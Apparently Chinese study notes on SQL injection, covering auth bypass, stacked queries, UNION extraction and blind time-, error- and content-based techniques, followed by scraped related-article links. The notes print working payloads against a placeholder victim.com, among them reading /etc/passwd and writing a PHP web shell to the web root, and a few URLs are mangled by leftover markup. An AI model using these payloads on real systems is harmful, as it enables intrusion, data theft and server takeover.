部分整理。。。

什么是SQL注入?

简单的例子, 对于一个购物网站,可以允许搜索,price小于某值的商品

这个值用户是可以输入的,比如,100

但是对于用户,如果输入,100' OR '1'='1

结果最终产生的sql,

SELECT *
FROM ProductsTbl
WHERE Price < '100.00' OR '' = ''
ORDER BY ProductDescription;

这样用户可以获取所有的商品信息

再看个例子,

对于用户身份认证,需要输入用户名和密码

但是如果用户在密码里面加入注入代码,

SELECT userid
FROM CMSUsers
WHERE user = 'foo' AND password = 'password' OR '' = '';

这样就一定可以通过验证

注入类型

内联 SQL 注入(Inline SQL Injection)

内联注入是指向查询注入一些SQL 代码后,原来的查询仍然会全部执行

字符串内联注入

例子,

通过下面的sql,把users 表中所有密码都更新为new_password,相当严重

UPDATE users
SET password = 'new_password'
WHERE username = 'Bob' and password = 'old_password' OR ''=''

数字值内联注入

请注意,注入数字时不需要添加开始和结尾的单引号定界符。

SELECT *
FROM messages
WHERE uid=45 or 1=1 /* 永真条件 */
ORDER BY received;

由于注入了永真条件(or 1=1),因而数据库将返回message 表中所有的行,而不仅仅是那些发送给某个用户的行

终止式SQL 注入

终止式SQL 注入是指攻击者在注入SQL 代码时,通过将原查询语句的剩余部分注释掉,从而成功结束原来的查询语句。

例子,

注入“' or 1=1;--”代码

SELECT *
FROM administrators
WHERE username = '' or 1=1;-- ' AND password = '';

由于存在 1=1 永真条件,该语句将返回administrators 表中所有的行。

SELECT *
FROM administrators
WHERE username = 'admin'/*' AND password = '*/ '';

有时您会发现在某些场合无法使用双连字符(—)。
在这种情况下,可以使用多行注释(/* */)来替换SQL语句中原来的注释。

该技术要求存在多个易受攻击的参数,而且您要了解这些参数在SQL 语句中的位置。

执行多条语句

SQL Server 6.0 在其架构中引入了服务端游标,从而允许在同一连接句柄上执行包含多条语句的字符串。

所有6.0 之后的SQL Server 版本均支持该功能且允许执行下列语句:

SELECT foo FROM bar; SELECT foo2 FROM bar2;

MySQL 在4.1 及之后的版本中也引入了该功能,但它在默认情况下并不支持该功能。

要利用该技术,您首先需要能够终止第一条语句,这样您之后才可以连接任意的SQL 代码。

例子,

http://www.victim.com/search.php?s=test';SELECT '<?php echo shell_
exec($_GET["cmd"]);?>' INTO OUTFILE '/var/www/victim.com/shell.
php';--

时间延迟

时间延迟是一种很强大的技术,Web 服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL 注入。该技术尤其适合盲注。

Microsoft SQL Server 服务器包含一条向查询引入延迟的内置命令:WAITFOR DELAY 'hours:minutes:seconds'。
例如,向Victim 公司的Web 服务器发送下列请求,服务器的响应大概要花5 秒:

http://www.victim.com/basket.aspx?uid=45;waitfor delay '0:0:5';--

服务器响应中的延迟使我们确信我们正在向后台数据库注入 SQL 代码

MySQL 数据库没有与WAITFOR DELAY 等价的命令,但它可以使用执行时间很长的函数来引入延迟。BENCHMARK 函数是很好的选择

mysql> SELECT BENCHMARK(10000000,ENCODE('hello','mom'));

注入攻击方式

注入首先要确定后端具体是什么数据库,具体是什么版本
方法取决于是否blind,即web服务器是否会把后端的错误或返回值,返回给你

基本的方法就是用,不同数据库的有差异的语法来验证,

比如对于字符串的拼接,各个库的语法是不一样的

Extracting data through UNION statements

通过union可以增加自己的sql,获取更多的信息

SELECT column-1,column-2,…,column-N FROM table-1
UNION
SELECT column-1,column-2,…,column-N FROM table-2

这种方法的限制是,

• The two queries must return exactly the same number of columns.
• The data in the corresponding columns of the two SELECT statements must be of the same (or at least compatible) types.

如何保证你的sql和原始sql具有相同的column个数和类型呢?

方法就是,你可以一个个试,

http://www.victim.com/products.asp?id=12+union+select+null--
http://www.victim.com/products.asp?id=12+union+select+null,null--
http://www.victim.com/products.asp?id=12+union+select+null,null,null--

一直试到不报错为止

对于类型也是一样,

http://www.victim.com/products.asp?id=12+union+select+‘test’,NULL,NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,‘test’,NULL,NULL

试到不报错,说明类型匹配

例子,

For instance, the following URL would retrieve both the name of the current user and the name of the current database:

http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,db_name(),NULL

Using conditional statements

各种数据库的条件语法,

Approach 1: Time-Based

On SQL Server, for instance, one of the first things you might want to know is whether the user performing the queries is the system administrator account, sa.

http://www.victim.com/products.asp?id=12;if+(system_user=‘sa’)+WAITFOR+DELAY+‘0:0:5’--

Approach 2: Error-Based

http://www.victim.com/products.asp?id=12/is_srvrolemember(‘sysadmin’)

如果后面的函数返回1,那么12/1,仍然等于12; 如果返回0,12/0明显会有异常,这样可以推断后面函数的值

As an example, let’s see how we can use a CASE statement to check, in our e-commerce application, whether the current user is sa:

http://www.victim.com/products.asp?id=12/(case+when+(system_user=‘sa’)+then+1+else+0+end)

Approach 3: Content-Based

可以避免产生错误,

http://www.victim.com/products.asp?id=12%2B(case+when+(system_user+=+‘sa’)+then+1+else+0+end)

比如上面的case,

把除改成求余

Working with Strings

http://www.victim.com/search.asp?brand=acme

等同于,

http://www.victim.com/search.asp?brand=acm‘%2B’ehttp://www.victim.com/search.asp?brand=ac‘%2B’m‘%2B’e

因为%2B,转义为+

也等同于,

http://www.victim.com/search.asp?brand=ac‘%2Bchar(109)%2B’e

下面可以这样来注入,

http://www.victim.com/search.asp?brand=ac‘%2Bchar(108%2B(case+when+(system_user+=+‘sa’)+then +1+else+0+end)%2B’e

根据条件判断,

http://www.victim.com/search.asp?brand=acme

http://www.victim.com/search.asp?brand=acle

上面的攻击只能获取1个bit的数据, 这种攻击可以扩展成,对len的判断,以用二分法确定len

+8)+then+1+else+0+end" href="http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">+8)+then+1+else+0+end" href="http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end">http://www.victim.com/products.asp?id=10/(case+when+(len(system_user)+>+8)+then+1+else+0+end

继而可以用二分法找出每个char,

+128)+then+1+else+0+end)" href="http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">+128)+then+1+else+0+end)" href="http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end">http://www.victim.com/products.asp?id=12/(case+when+(ascii(substring(select+system_user),1,1))+>+128)+then+1+else+0+end)

Exploiting the operating system

Accessing the file system

读,

The LOAD_FILE function also handles binary files transparently, which means that with a little bit of finesse we can use the function to read binary files from the remote host easily:

如,

‘ union select LOAD_FILE(‘/etc/passwd’)#

insert into foo set line=load_file(‘/tmp/temp.bin’);

写,

aaa’ union select NULL,‘SensePost 2008\n’ into dumpfile ‘/tmp/sp.txt’#

Executing operating system commands

Exploiting second-order SQL injection

第一次攻击请求,只是把攻击脚本,写入storage,如数据库

第二次请求,会把攻击脚本从库中读出,触发执行,此时才会产生真正的攻击

Finding Second-Order Vulnerabilities

Second-order SQL injection is more difficult to detect than first-order vulnerabilities, because your exploit is submitted in one request and executed in the application’s handling of a different request.

SQL注入攻击和防御的更多相关文章

  1. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞

    看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...

  2. SQL参数化查询--最有效可预防SQL注入攻击的防御方式

    参数化查询(Parameterized Query 或 Parameterized Statement)是访问数据库时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值. 在使用参 ...

  3. web服务端安全之SQL注入攻击

    一.SQL注入攻击的原理攻击者在HTTP请求中,注入恶意的SQL代码,并在服务端执行.比如用户登录,输入用户名camille,密码 ' or '1'='1 ,如果此时使用参数构造的方式,就会出现 ' ...

  4. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  5. Java程序员从笨鸟到菜鸟之(一百零二)sql注入攻击详解(三)sql注入解决办法

    sql注入攻击详解(二)sql注入过程详解 sql注入攻击详解(一)sql注入原理详解 我们了解了sql注入原理和sql注入过程,今天我们就来了解一下sql注入的解决办法.怎么来解决和防范sql注入, ...

  6. 防止SQL注入攻击的一些方法小结

    SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...

  7. SQL注入攻击的种类和防范手段

    观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...

  8. php过滤提交数据 防止sql注入攻击

    规则 1:绝不要信任外部数据或输入 关于 Web 应用程序安全性,必须认识到的第一件事是不应该信任外部数据.外部数据(outside data) 包括不是由程序员在 PHP 代码中直接输入的任何数据. ...

  9. CSRF、XSS、clickjacking、SQL 的攻击与防御

    CSRF攻击 原理: 跨站请求伪造.是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法. 网站通过cookie来实现登录功能.而cookie只要存在浏览器中,那么浏览器在访问含有这 ...

随机推荐

  1. phpcms-v9中建立wap手机站点

    web网站用的是phpcms v9搭建的,为了方便手机用户浏览网站,于是用phpcms v9自带的手机门户模块搭建了个wap站(http:.org换成你的wap网站域名----------- 到这一步 ...

  2. 浅谈K-SVD

    由于工作需要,最近刚刚看了一些K-SVD的介绍,这里给自己做一下小节. K-SVD我们一般是用在字典学习.稀疏编码方面,它可以认为是K-means的一种扩展,http://en.wikipedia.o ...

  3. C#可以做什么

    C#可以做什么 学以致用.这也是大家学习C#的目标.当我们充分了解C#广阔的应用,才会激发我们最大的学习热情.下面将介绍一下C#的常见应用场景本文选自明明白白学C#大学霸. 0.2.1  开发普通软件 ...

  4. json学习系列(3)-JSONObject的过滤设置

    我们通常对一个json串和java对象进行互转时,经常会有选择性的过滤掉一些属性值.例如下面的实体类: package com.pcitc.json; /** * Person实体类 * * @Des ...

  5. MBR 基础

    1.简介 MBR,全称为Master Boot Record,即硬盘的主引导记录,它位于整个硬盘的0磁道0柱面1扇区,其主要对硬盘进行了组织,是在驱动器最前端的一段引导扇区. MBR是不属于任何一个操 ...

  6. POJ2836 Rectangular Covering(状压DP)

    题目是平面上n个点,要用若干个矩形盖住它们,每个矩形上至少要包含2个点,问要用的矩形的面积和最少是多少. 容易反证得出每个矩形上四个角必定至少覆盖了两个点.然后就状压DP: dp[S]表示覆盖的点集为 ...

  7. ccc2016

    连炸两题,身败名裂. 看来不拍暴力就会die. A题 滑动窗口或什么前缀和二分之类的就行了. #include<cstdio> #include<cstring> #inclu ...

  8. 《菊与刀》--[美]鲁思·本尼迪克特(Ruth Benedict)

    <菊与刀>这本书实在是好看. 下面是一些书摘: * 由在美国曾经全力以赴与之战斗的敌人中,日本人的脾气是最琢磨不透的. * “菊”本是日本皇家家微,“刀”是武家文化的象征. * 日本人的格 ...

  9. 创建自定义 jQuery 移动主题

    自定义页面.工具栏.内容.表单元素.列表.按钮等元素的外观 智能电话和平板设备的高采用率最终导致增加了对移动 Web 开发人员和设计师的需求.jQuery Mobile 框架支持您创建能与原生应用程序 ...

  10. virt-XXX

    尽管 virt-manager 是 libvirt 虚拟化 API 的一个首要用户,但有一个越来越庞大的工具生态系统在使用此接口进行虚拟化管理.virt-manager 包提供了一个便捷的 GUI,用 ...